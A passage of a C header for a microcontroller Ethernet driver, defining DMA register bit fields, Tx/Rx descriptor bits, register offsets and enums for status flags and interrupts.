BIT(0) /*!< transmit status */ #define ENET_DMA_STAT_TPS BIT(1) /*!< transmit process stopped status */ #define ENET_DMA_STAT_TBU BIT(2) /*!< transmit buffer unavailable status */ #define ENET_DMA_STAT_TJT BIT(3) /*!< transmit jabber timeout status */ #define ENET_DMA_STAT_RO BIT(4) /*!< receive overflow status */ #define ENET_DMA_STAT_TU BIT(5) /*!< transmit underflow status */ #define ENET_DMA_STAT_RS BIT(6) /*!< receive status */ #define ENET_DMA_STAT_RBU BIT(7) /*!< receive buffer unavailable status */ #define ENET_DMA_STAT_RPS BIT(8) /*!< receive process stopped status */ #define ENET_DMA_STAT_RWT BIT(9) /*!< receive watchdog timeout status */ #define ENET_DMA_STAT_ET BIT(10) /*!< early transmit status */ #define ENET_DMA_STAT_FBE BIT(13) /*!< fatal bus error status */ #define ENET_DMA_STAT_ER BIT(14) /*!< early receive status */ #define ENET_DMA_STAT_AI BIT(15) /*!< abnormal interrupt summary */ #define ENET_DMA_STAT_NI BIT(16) /*!< normal interrupt summary */ #define ENET_DMA_STAT_RP BITS(17,19) /*!< receive process state */ #define ENET_DMA_STAT_TP BITS(20,22) /*!< transmit process state */ #define ENET_DMA_STAT_EB BITS(23,25) /*!< error bits status */ #define ENET_DMA_STAT_MSC BIT(27) /*!< MSC status */ #define ENET_DMA_STAT_WUM BIT(28) /*!< WUM status */ #define ENET_DMA_STAT_TST BIT(29) /*!< timestamp trigger status */ /* ENET_DMA_CTL */ #define ENET_DMA_CTL_SRE BIT(1) /*!< start/stop receive enable */ #define ENET_DMA_CTL_OSF BIT(2) /*!< operate on second frame */ #define ENET_DMA_CTL_RTHC BITS(3,4) /*!< receive threshold control */ #define ENET_DMA_CTL_FUF BIT(6) /*!< forward undersized good frames */ #define ENET_DMA_CTL_FERF BIT(7) /*!< forward error frames */ #define ENET_DMA_CTL_STE BIT(13) /*!< start/stop transmission enable */ #define ENET_DMA_CTL_TTHC BITS(14,16) /*!< transmit threshold control */ #define ENET_DMA_CTL_FTF BIT(20) /*!< flush transmit FIFO */ #define ENET_DMA_CTL_TSFD BIT(21) /*!< transmit store-and-forward */ #define ENET_DMA_CTL_DAFRF BIT(24) /*!< disable flushing of received frames */ #define ENET_DMA_CTL_RSFD BIT(25) /*!< receive store-and-forward */ #define ENET_DMA_CTL_DTCERFD BIT(26) /*!< dropping of TCP/IP checksum error frames disable */ /* ENET_DMA_INTEN */ #define ENET_DMA_INTEN_TIE BIT(0) /*!< transmit interrupt enable */ #define ENET_DMA_INTEN_TPSIE BIT(1) /*!< transmit process stopped interrupt enable */ #define ENET_DMA_INTEN_TBUIE BIT(2) /*!< transmit buffer unavailable interrupt enable */ #define ENET_DMA_INTEN_TJTIE BIT(3) /*!< transmit jabber timeout interrupt enable */ #define ENET_DMA_INTEN_ROIE BIT(4) /*!< receive overflow interrupt enable */ #define ENET_DMA_INTEN_TUIE BIT(5) /*!< transmit underflow interrupt enable */ #define ENET_DMA_INTEN_RIE BIT(6) /*!< receive interrupt enable */ #define ENET_DMA_INTEN_RBUIE BIT(7) /*!< receive buffer unavailable interrupt enable */ #define ENET_DMA_INTEN_RPSIE BIT(8) /*!< receive process stopped interrupt enable */ #define ENET_DMA_INTEN_RWTIE BIT(9) /*!< receive watchdog timeout interrupt enable */ #define ENET_DMA_INTEN_ETIE BIT(10) /*!< early transmit interrupt enable */ #define ENET_DMA_INTEN_FBEIE BIT(13) /*!< fatal bus error interrupt enable */ #define ENET_DMA_INTEN_ERIE BIT(14) /*!< early receive interrupt enable */ #define ENET_DMA_INTEN_AIE BIT(15) /*!< abnormal interrupt summary enable */ #define ENET_DMA_INTEN_NIE BIT(16) /*!< normal interrupt summary enable */ /* ENET_DMA_MFBOCNT */ #define ENET_DMA_MFBOCNT_MSFC BITS(0,15) /*!< missed frames by the controller */ #define ENET_DMA_MFBOCNT_MSFA BITS(17,27) /*!< missed frames by the application */ /* ENET_DMA_RSWDC */ #define ENET_DMA_RSWDC_WDCFRS BITS(0,7) /*!< watchdog counter for receive status (RS) */ /* ENET_DMA_CTDADDR */ #define ENET_DMA_CTDADDR_TDAP BITS(0,31) /*!< transmit descriptor address pointer */ /* ENET_DMA_CRDADDR */ #define ENET_DMA_CRDADDR_RDAP BITS(0,31) /*!< receive descriptor address pointer */ /* ENET_DMA_CTBADDR */ #define ENET_DMA_CTBADDR_TBAP BITS(0,31) /*!< transmit buffer address pointer */ /* ENET_DMA_CRBADDR */ #define ENET_DMA_CRBADDR_RBAP BITS(0,31) /*!< receive buffer address pointer */ /* ENET DMA Tx descriptor TDES0 */ #define ENET_TDES0_DB BIT(0) /*!< deferred */ #define ENET_TDES0_UFE BIT(1) /*!< underflow error */ #define ENET_TDES0_EXD BIT(2) /*!< excessive deferral */ #define ENET_TDES0_COCNT BITS(3,6) /*!< collision count */ #define ENET_TDES0_VFRM BIT(7) /*!< VLAN frame */ #define ENET_TDES0_ECO BIT(8) /*!< excessive collision */ #define ENET_TDES0_LCO BIT(9) /*!< late collision */ #define ENET_TDES0_NCA BIT(10) /*!< no carrier */ #define ENET_TDES0_LCA BIT(11) /*!< loss of carrier */ #define ENET_TDES0_IPPE BIT(12) /*!< IP payload error */ #define ENET_TDES0_FRMF BIT(13) /*!< frame flushed */ #define ENET_TDES0_JT BIT(14) /*!< jabber timeout */ #define ENET_TDES0_ES BIT(15) /*!< error summary */ #define ENET_TDES0_IPHE BIT(16) /*!< IP header error */ #define ENET_TDES0_TTMSS BIT(17) /*!< transmit timestamp status */ #define ENET_TDES0_TCHM BIT(20) /*!< the second address chained mode */ #define ENET_TDES0_TERM BIT(21) /*!< transmit end of ring mode*/ #define ENET_TDES0_CM BITS(22,23) /*!< checksum mode */ #define ENET_TDES0_TTSEN BIT(25) /*!< transmit timestamp function enable */ #define ENET_TDES0_DPAD BIT(26) /*!< disable adding pad */ #define ENET_TDES0_DCRC BIT(27) /*!< disable CRC */ #define ENET_TDES0_FSG BIT(28) /*!< first segment */ #define ENET_TDES0_LSG BIT(29) /*!< last segment */ #define ENET_TDES0_INTC BIT(30) /*!< interrupt on completion */ #define ENET_TDES0_DAV BIT(31) /*!< DAV bit */ /* ENET DMA Tx descriptor TDES1 */ #define ENET_TDES1_TB1S BITS(0,12) /*!< transmit buffer 1 size */ #define ENET_TDES1_TB2S BITS(16,28) /*!< transmit buffer 2 size */ /* ENET DMA Tx descriptor TDES2 */ #define ENET_TDES2_TB1AP BITS(0,31) /*!< transmit buffer 1 address pointer/transmit frame timestamp low 32-bit value */ /* ENET DMA Tx descriptor TDES3 */ #define ENET_TDES3_TB2AP BITS(0,31) /*!< transmit buffer 2 address pointer (or next descriptor address) / transmit frame timestamp high 32-bit value */ #ifdef SELECT_DESCRIPTORS_ENHANCED_MODE /* ENET DMA Tx descriptor TDES6 */ #define ENET_TDES6_TTSL BITS(0,31) /*!< transmit frame timestamp low 32-bit value */ /* ENET DMA Tx descriptor TDES7 */ #define ENET_TDES7_TTSH BITS(0,31) /*!< transmit frame timestamp high 32-bit value */ #endif /* SELECT_DESCRIPTORS_ENHANCED_MODE */ /* ENET DMA Rx descriptor RDES0 */ #define ENET_RDES0_PCERR BIT(0) /*!< payload checksum error */ #define ENET_RDES0_EXSV BIT(0) /*!< extended status valid */ #define ENET_RDES0_CERR BIT(1) /*!< CRC error */ #define ENET_RDES0_DBERR BIT(2) /*!< dribble bit error */ #define ENET_RDES0_RERR BIT(3) /*!< receive error */ #define ENET_RDES0_RWDT BIT(4) /*!< receive watchdog timeout */ #define ENET_RDES0_FRMT BIT(5) /*!< frame type */ #define ENET_RDES0_LCO BIT(6) /*!< late collision */ #define ENET_RDES0_IPHERR BIT(7) /*!< IP frame header error */ #define ENET_RDES0_TSV BIT(7) /*!< timestamp valid */ #define ENET_RDES0_LDES BIT(8) /*!< last descriptor */ #define ENET_RDES0_FDES BIT(9) /*!< first descriptor */ #define ENET_RDES0_VTAG BIT(10) /*!< VLAN tag */ #define ENET_RDES0_OERR BIT(11) /*!< overflow Error */ #define ENET_RDES0_LERR BIT(12) /*!< length error */ #define ENET_RDES0_SAFF BIT(13) /*!< SA filter fail */ #define ENET_RDES0_DERR BIT(14) /*!< descriptor error */ #define ENET_RDES0_ERRS BIT(15) /*!< error summary */ #define ENET_RDES0_FRML BITS(16,29) /*!< frame length */ #define ENET_RDES0_DAFF BIT(30) /*!< destination address filter fail */ #define ENET_RDES0_DAV BIT(31) /*!< descriptor available */ /* ENET DMA Rx descriptor RDES1 */ #define ENET_RDES1_RB1S BITS(0,12) /*!< receive buffer 1 size */ #define ENET_RDES1_RCHM BIT(14) /*!< receive chained mode for second address */ #define ENET_RDES1_RERM BIT(15) /*!< receive end of ring mode*/ #define ENET_RDES1_RB2S BITS(16,28) /*!< receive buffer 2 size */ #define ENET_RDES1_DINTC BIT(31) /*!< disable interrupt on completion */ /* ENET DMA Rx descriptor RDES2 */ #define ENET_RDES2_RB1AP BITS(0,31) /*!< receive buffer 1 address pointer / receive frame timestamp low 32-bit */ /* ENET DMA Rx descriptor RDES3 */ #define ENET_RDES3_RB2AP BITS(0,31) /*!< receive buffer 2 address pointer (next descriptor address)/receive frame timestamp high 32-bit value */ #ifdef SELECT_DESCRIPTORS_ENHANCED_MODE /* ENET DMA Rx descriptor RDES4 */ #define ENET_RDES4_IPPLDT BITS(0,2) /*!< IP frame payload type */ #define ENET_RDES4_IPHERR BIT(3) /*!< IP frame header error */ #define ENET_RDES4_IPPLDERR BIT(4) /*!< IP frame payload error */ #define ENET_RDES4_IPCKSB BIT(5) /*!< IP frame checksum bypassed */ #define ENET_RDES4_IPF4 BIT(6) /*!< IP frame in version 4 */ #define ENET_RDES4_IPF6 BIT(7) /*!< IP frame in version 6 */ #define ENET_RDES4_PTPMT BITS(8,11) /*!< PTP message type */ #define ENET_RDES4_PTPOEF BIT(12) /*!< PTP on ethernet frame */ #define ENET_RDES4_PTPVF BIT(13) /*!< PTP version format */ /* ENET DMA Rx descriptor RDES6 */ #define ENET_RDES6_RTSL BITS(0,31) /*!< receive frame timestamp low 32-bit value */ /* ENET DMA Rx descriptor RDES7 */ #define ENET_RDES7_RTSH BITS(0,31) /*!< receive frame timestamp high 32-bit value */ #endif /* SELECT_DESCRIPTORS_ENHANCED_MODE */ /* constants definitions */ /* define bit position and its register index offset */ #define ENET_REGIDX_BIT(regidx, bitpos) (((uint32_t)(regidx) << 6) | (uint32_t)(bitpos)) #define ENET_REG_VAL(periph) (REG32(ENET + ((uint32_t)(periph)>>6))) #define ENET_BIT_POS(val) ((uint32_t)(val) & 0x1FU) /* ENET clock range judgement */ #define ENET_RANGE(hclk, n, m) (((hclk) >= (n))&&((hclk) < (m))) /* define MAC address configuration and reference address */ #define ENET_SET_MACADDRH(p) (((uint32_t)(p)[5] << 8) | (uint32_t)(p)[4]) #define ENET_SET_MACADDRL(p) (((uint32_t)(p)[3] << 24) | ((uint32_t)(p)[2] << 16) | ((uint32_t)(p)[1] << 8) | (uint32_t)(p)[0]) #define ENET_ADDRH_BASE ((ENET) + 0x40U) #define ENET_ADDRL_BASE ((ENET) + 0x44U) #define ENET_GET_MACADDR(offset, n) ((uint8_t)((REG32((ENET_ADDRL_BASE + (offset)) - (((n) / 4U) * 4U)) >> (8U * ((n) % 4U))) & 0xFFU)) /* register offset */ #define MAC_FCTL_REG_OFFSET 0x0018U /*!< MAC flow control register offset */ #define MAC_WUM_REG_OFFSET 0x002CU /*!< MAC wakeup management register offset */ #define MAC_INTF_REG_OFFSET 0x0038U /*!< MAC interrupt flag register offset */ #define MAC_INTMSK_REG_OFFSET 0x003CU /*!< MAC interrupt mask register offset */ #define MSC_RINTF_REG_OFFSET 0x0104U /*!< MSC receive interrupt flag register offset */ #define MSC_TINTF_REG_OFFSET 0x0108U /*!< MSC transmit interrupt flag register offset */ #define MSC_RINTMSK_REG_OFFSET 0x010CU /*!< MSC receive interrupt mask register offset */ #define MSC_TINTMSK_REG_OFFSET 0x0110U /*!< MSC transmit interrupt mask register offset */ #define MSC_SCCNT_REG_OFFSET 0x014CU /*!< MSC transmitted good frames after a single collision counter register offset */ #define MSC_MSCCNT_REG_OFFSET 0x0150U /*!< MSC transmitted good frames after more than a single collision counter register offset */ #define MSC_TGFCNT_REG_OFFSET 0x0168U /*!< MSC transmitted good frames counter register offset */ #define MSC_RFCECNT_REG_OFFSET 0x0194U /*!< MSC received frames with CRC error counter register offset */ #define MSC_RFAECNT_REG_OFFSET 0x0198U /*!< MSC received frames with alignment error counter register offset */ #define MSC_RGUFCNT_REG_OFFSET 0x01C4U /*!< MSC received good unicast frames counter register offset */ #define PTP_TSF_REG_OFFSET 0x0728U /*!< PTP time stamp flag register offset */ #define DMA_STAT_REG_OFFSET 0x1014U /*!< DMA status register offset */ #define DMA_INTEN_REG_OFFSET 0x101CU /*!< DMA interrupt enable register offset */ #define DMA_TDTADDR_REG_OFFSET 0x1010U /*!< DMA transmit descriptor table address register offset */ #define DMA_CTDADDR_REG_OFFSET 0x1048U /*!< DMA current transmit descriptor address register */ #define DMA_CTBADDR_REG_OFFSET 0x1050U /*!< DMA current transmit buffer address register */ #define DMA_RDTADDR_REG_OFFSET 0x100CU /*!< DMA receive descriptor table address register */ #define DMA_CRDADDR_REG_OFFSET 0x104CU /*!< DMA current receive descriptor address register */ #define DMA_CRBADDR_REG_OFFSET 0x1054U /*!< DMA current receive buffer address register */ /* ENET status flag get */ typedef enum { /* ENET_MAC_WUM register */ ENET_MAC_FLAG_MPKR = ENET_REGIDX_BIT(MAC_WUM_REG_OFFSET, 5U), /*!< magic packet received flag */ ENET_MAC_FLAG_WUFR = ENET_REGIDX_BIT(MAC_WUM_REG_OFFSET, 6U), /*!< wakeup frame received flag */ /* ENET_MAC_FCTL register */ ENET_MAC_FLAG_FLOWCONTROL = ENET_REGIDX_BIT(MAC_FCTL_REG_OFFSET, 0U), /*!< flow control status flag */ /* ENET_MAC_INTF register */ ENET_MAC_FLAG_WUM = ENET_REGIDX_BIT(MAC_INTF_REG_OFFSET, 3U), /*!< WUM status flag */ ENET_MAC_FLAG_MSC = ENET_REGIDX_BIT(MAC_INTF_REG_OFFSET, 4U), /*!< MSC status flag */ ENET_MAC_FLAG_MSCR = ENET_REGIDX_BIT(MAC_INTF_REG_OFFSET, 5U), /*!< MSC receive status flag */ ENET_MAC_FLAG_MSCT = ENET_REGIDX_BIT(MAC_INTF_REG_OFFSET, 6U), /*!< MSC transmit status flag */ ENET_MAC_FLAG_TMST = ENET_REGIDX_BIT(MAC_INTF_REG_OFFSET, 9U), /*!< timestamp trigger status flag */ /* ENET_PTP_TSF register */ ENET_PTP_FLAG_TSSCO = ENET_REGIDX_BIT(PTP_TSF_REG_OFFSET, 0U), /*!< timestamp second counter overflow flag */ ENET_PTP_FLAG_TTM = ENET_REGIDX_BIT(PTP_TSF_REG_OFFSET, 1U), /*!< target time match flag */ /* ENET_MSC_RINTF register */ ENET_MSC_FLAG_RFCE = ENET_REGIDX_BIT(MSC_RINTF_REG_OFFSET, 5U), /*!< received frames CRC error flag */ ENET_MSC_FLAG_RFAE = ENET_REGIDX_BIT(MSC_RINTF_REG_OFFSET, 6U), /*!< received frames alignment error flag */ ENET_MSC_FLAG_RGUF = ENET_REGIDX_BIT(MSC_RINTF_REG_OFFSET, 17U), /*!< received good unicast frames flag */ /* ENET_MSC_TINTF register */ ENET_MSC_FLAG_TGFSC = ENET_REGIDX_BIT(MSC_TINTF_REG_OFFSET, 14U), /*!< transmitted good frames single collision flag */ ENET_MSC_FLAG_TGFMSC = ENET_REGIDX_BIT(MSC_TINTF_REG_OFFSET, 15U), /*!< transmitted good frames more single collision flag */ ENET_MSC_FLAG_TGF = ENET_REGIDX_BIT(MSC_TINTF_REG_OFFSET, 21U), /*!< transmitted good frames flag */ /* ENET_DMA_STAT register */ ENET_DMA_FLAG_TS = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 0U), /*!< transmit status flag */ ENET_DMA_FLAG_TPS = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 1U), /*!< transmit process stopped status flag */ ENET_DMA_FLAG_TBU = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 2U), /*!< transmit buffer unavailable status flag */ ENET_DMA_FLAG_TJT = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 3U), /*!< transmit jabber timeout status flag */ ENET_DMA_FLAG_RO = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 4U), /*!< receive overflow status flag */ ENET_DMA_FLAG_TU = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 5U), /*!< transmit underflow status flag */ ENET_DMA_FLAG_RS = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 6U), /*!< receive status flag */ ENET_DMA_FLAG_RBU = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 7U), /*!< receive buffer unavailable status flag */ ENET_DMA_FLAG_RPS = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 8U), /*!< receive process stopped status flag */ ENET_DMA_FLAG_RWT = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 9U), /*!< receive watchdog timeout status flag */ ENET_DMA_FLAG_ET = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 10U), /*!< early transmit status flag */ ENET_DMA_FLAG_FBE = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 13U), /*!< fatal bus error status flag */ ENET_DMA_FLAG_ER = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 14U), /*!< early receive status flag */ ENET_DMA_FLAG_AI = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 15U), /*!< abnormal interrupt summary flag */ ENET_DMA_FLAG_NI = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 16U), /*!< normal interrupt summary flag */ ENET_DMA_FLAG_EB_DMA_ERROR = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 23U), /*!< error during data transfer by RxDMA/TxDMA flag */ ENET_DMA_FLAG_EB_TRANSFER_ERROR = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 24U), /*!< error during write/read transfer flag */ ENET_DMA_FLAG_EB_ACCESS_ERROR = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 25U), /*!< error during data buffer/descriptor access flag */ ENET_DMA_FLAG_MSC = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 27U), /*!< MSC status flag */ ENET_DMA_FLAG_WUM = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 28U), /*!< WUM status flag */ ENET_DMA_FLAG_TST = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 29U), /*!< timestamp trigger status flag */ } enet_flag_enum; /* ENET stutus flag clear */ typedef enum { /* ENET_DMA_STAT register */ ENET_DMA_FLAG_TS_CLR = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 0U), /*!< transmit status flag */ ENET_DMA_FLAG_TPS_CLR = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 1U), /*!< transmit process stopped status flag */ ENET_DMA_FLAG_TBU_CLR = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 2U), /*!< transmit buffer unavailable status flag */ ENET_DMA_FLAG_TJT_CLR = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 3U), /*!< transmit jabber timeout status flag */ ENET_DMA_FLAG_RO_CLR = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 4U), /*!< receive overflow status flag */ ENET_DMA_FLAG_TU_CLR = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 5U), /*!< transmit underflow status flag */ ENET_DMA_FLAG_RS_CLR = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 6U), /*!< receive status flag */ ENET_DMA_FLAG_RBU_CLR = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 7U), /*!< receive buffer unavailable status flag */ ENET_DMA_FLAG_RPS_CLR = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 8U), /*!< receive process stopped status flag */ ENET_DMA_FLAG_RWT_CLR = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 9U), /*!< receive watchdog timeout status flag */ ENET_DMA_FLAG_ET_CLR = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 10U), /*!< early transmit status flag */ ENET_DMA_FLAG_FBE_CLR = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 13U), /*!< fatal bus error status flag */ ENET_DMA_FLAG_ER_CLR = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 14U), /*!< early receive status flag */ ENET_DMA_FLAG_AI_CLR = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 15U), /*!< abnormal interrupt summary flag */ ENET_DMA_FLAG_NI_CLR = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 16U), /*!< normal interrupt summary flag */ } enet_flag_clear_enum; /* ENET interrupt enable/disable */ typedef enum { /* ENET_MAC_INTMSK register */ ENET_MAC_INT_WUMIM = ENET_REGIDX_BIT(MAC_INTMSK_REG_OFFSET, 3U), /*!< WUM interrupt mask */ ENET_MAC_INT_TMSTIM = ENET_REGIDX_BIT(MAC_INTMSK_REG_OFFSET, 9U), /*!< timestamp trigger interrupt mask */ /* ENET_MSC_RINTMSK register */ ENET_MSC_INT_RFCEIM = ENET_REGIDX_BIT(MSC_RINTMSK_REG_OFFSET, 5U), /*!< received frame CRC error interrupt mask */ ENET_MSC_INT_RFAEIM = ENET_REGIDX_BIT(MSC_RINTMSK_REG_OFFSET, 6U), /*!< received frames alignment error interrupt mask */ ENET_MSC_INT_RGUFIM = ENET_REGIDX_BIT(MSC_RINTMSK_REG_OFFSET, 17U), /*!< received good unicast frames interrupt mask */ /* ENET_MSC_TINTMSK register */ ENET_MSC_INT_TGFSCIM = ENET_REGIDX_BIT(MSC_TINTMSK_REG_OFFSET, 14U), /*!< transmitted good frames single collision interrupt mask */ ENET_MSC_INT_TGFMSCIM = ENET_REGIDX_BIT(MSC_TINTMSK_REG_OFFSET, 15U), /*!< transmitted good frames more single collision interrupt mask */ ENET_MSC_INT_TGFIM = ENET_REGIDX_BIT(MSC_TINTMSK_REG_OFFSET, 21U), /*!< transmitted good frames interrupt mask */ /* ENET_DMA_INTEN register */ ENET_DMA_INT_TIE = ENET_REGIDX_BIT(DMA_INTEN_REG_OFFSET, 0U), /*!< transmit interrupt enable */ ENET_DMA_INT_TPSIE = ENET_REGIDX_BIT(DMA_INTEN_REG_OFFSET, 1U), /*!< transmit process stopped interrupt enable */ ENET_DMA_INT_TBUIE = ENET_REGIDX_BIT(DMA_INTEN_REG_OFFSET, 2U), /*!< transmit buffer unavailable interrupt enable */ ENET_DMA_INT_TJTIE = ENET_REGIDX_BIT(DMA_INTEN_REG_OFFSET, 3U), /*!< transmit jabber timeout interrupt enable */ ENET_DMA_INT_ROIE = ENET_REGIDX_BIT(DMA_INTEN_REG_OFFSET, 4U), /*!< receive overflow interrupt enable */ ENET_DMA_INT_TUIE = ENET_REGIDX_BIT(DMA_INTEN_REG_OFFSET, 5U), /*!< transmit underflow interrupt enable */ ENET_DMA_INT_RIE = ENET_REGIDX_BIT(DMA_INTEN_REG_OFFSET, 6U), /*!< receive interrupt enable */ ENET_DMA_INT_RBUIE = ENET_REGIDX_BIT(DMA_INTEN_REG_OFFSET, 7U), /*!< receive buffer unavailable interrupt enable */ ENET_DMA_INT_RPSIE = ENET_REGIDX_BIT(DMA_INTEN_REG_OFFSET, 8U), /*!< receive process stopped interrupt enable */ ENET_DMA_INT_RWTIE = ENET_REGIDX_BIT(DMA_INTEN_REG_OFFSET, 9U), /*!< receive watchdog timeout interrupt enable */ ENET_DMA_INT_ETIE = ENET_REGIDX_BIT(DMA_INTEN_REG_OFFSET, 10U), /*!< early transmit interrupt enable */ ENET_DMA_INT_FBEIE = ENET_REGIDX_BIT(DMA_INTEN_REG_OFFSET, 13U), /*!< fatal bus error interrupt enable */ ENET_DMA_INT_ERIE = ENET_REGIDX_BIT(DMA_INTEN_REG_OFFSET, 14U), /*!< early receive interrupt enable */ ENET_DMA_INT_AIE = ENET_REGIDX_BIT(DMA_INTEN_REG_OFFSET, 15U), /*!< abnormal interrupt summary enable */ ENET_DMA_INT_NIE = ENET_REGIDX_BIT(DMA_INTEN_REG_OFFSET, 16U), /*!< normal interrupt summary enable */ } enet_int_enum; /* ENET interrupt flag get */ typedef enum { /* ENET_MAC_INTF register */ ENET_MAC_INT_FLAG_WUM = ENET_REGIDX_BIT(MAC_INTF_REG_OFFSET, 3U), /*!< WUM status flag */ ENET_MAC_INT_FLAG_MSC = ENET_REGIDX_BIT(MAC_INTF_REG_OFFSET, 4U), /*!< MSC status flag */ ENET_MAC_INT_FLAG_MSCR = ENET_REGIDX_BIT(MAC_INTF_REG_OFFSET, 5U), /*!< MSC receive status flag */ ENET_MAC_INT_FLAG_MSCT = ENET_REGIDX_BIT(MAC_INTF_REG_OFFSET, 6U), /*!< MSC transmit status flag */ ENET_MAC_INT_FLAG_TMST = ENET_REGIDX_BIT(MAC_INTF_REG_OFFSET, 9U), /*!< timestamp trigger status flag */ /* ENET_MSC_RINTF register */ ENET_MSC_INT_FLAG_RFCE = ENET_REGIDX_BIT(MSC_RINTF_REG_OFFSET, 5U), /*!< received frames CRC error flag */ ENET_MSC_INT_FLAG_RFAE = ENET_REGIDX_BIT(MSC_RINTF_REG_OFFSET, 6U), /*!< received frames alignment error flag */ ENET_MSC_INT_FLAG_RGUF = ENET_REGIDX_BIT(MSC_RINTF_REG_OFFSET, 17U), /*!< received good unicast frames flag */ /* ENET_MSC_TINTF register */ ENET_MSC_INT_FLAG_TGFSC = ENET_REGIDX_BIT(MSC_TINTF_REG_OFFSET, 14U), /*!< transmitted good frames single collision flag */ ENET_MSC_INT_FLAG_TGFMSC = ENET_REGIDX_BIT(MSC_TINTF_REG_OFFSET, 15U), /*!< transmitted good frames more single collision flag */ ENET_MSC_INT_FLAG_TGF = ENET_REGIDX_BIT(MSC_TINTF_REG_OFFSET, 21U), /*!< transmitted good frames flag */ /* ENET_DMA_STAT register */ ENET_DMA_INT_FLAG_TS = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 0U), /*!< transmit status flag */ ENET_DMA_INT_FLAG_TPS = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 1U), /*!< transmit process stopped status flag */ ENET_DMA_INT_FLAG_TBU = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 2U), /*!< transmit buffer unavailable status flag */ ENET_DMA_INT_FLAG_TJT = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 3U), /*!< transmit jabber timeout status flag */ ENET_DMA_INT_FLAG_RO = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 4U), /*!< receive overflow status flag */ ENET_DMA_INT_FLAG_TU = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 5U), /*!< transmit underflow status flag */ ENET_DMA_INT_FLAG_RS = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 6U), /*!< receive status flag */ ENET_DMA_INT_FLAG_RBU = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 7U), /*!< receive buffer unavailable status flag */ ENET_DMA_INT_FLAG_RPS = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 8U), /*!< receive process stopped status flag */ ENET_DMA_INT_FLAG_RWT = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 9U), /*!< receive watchdog timeout status flag */ ENET_DMA_INT_FLAG_ET = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 10U), /*!< early transmit status flag */ ENET_DMA_INT_FLAG_FBE = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 13U), /*!< fatal bus error status flag */ ENET_DMA_INT_FLAG_ER = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 14U), /*!< early receive status flag */ ENET_DMA_INT_FLAG_AI = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 15U), /*!< abnormal interrupt summary flag */ ENET_DMA_INT_FLAG_NI = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 16U), /*!< normal interrupt summary flag */ ENET_DMA_INT_FLAG_MSC = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 27U), /*!< MSC status flag */ ENET_DMA_INT_FLAG_WUM = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 28U), /*!< WUM status flag */ ENET_DMA_INT_FLAG_TST = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 29U), /*!< timestamp trigger status flag */ } enet_int_flag_enum; /* ENET interrupt flag clear */ typedef enum { /* ENET_DMA_STAT register */ ENET_DMA_INT_FLAG_TS_CLR = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 0U), /*!< transmit status flag */ ENET_DMA_INT_FLAG_TPS_CLR = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 1U), /*!< transmit process stopped status flag */ ENET_DMA_INT_FLAG_TBU_CLR = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 2U), /*!< transmit buffer unavailable status flag */ ENET_DMA_INT_FLAG_TJT_CLR = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 3U), /*!< transmit jabber timeout status flag */ ENET_DMA_INT_FLAG_RO_CLR = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 4U), /*!< receive overflow status flag */ ENET_DMA_INT_FLAG_TU_CLR = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 5U), /*!< transmit underflow status flag */ ENET_DMA_INT_FLAG_RS_CLR = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 6U), /*!< receive status flag */ 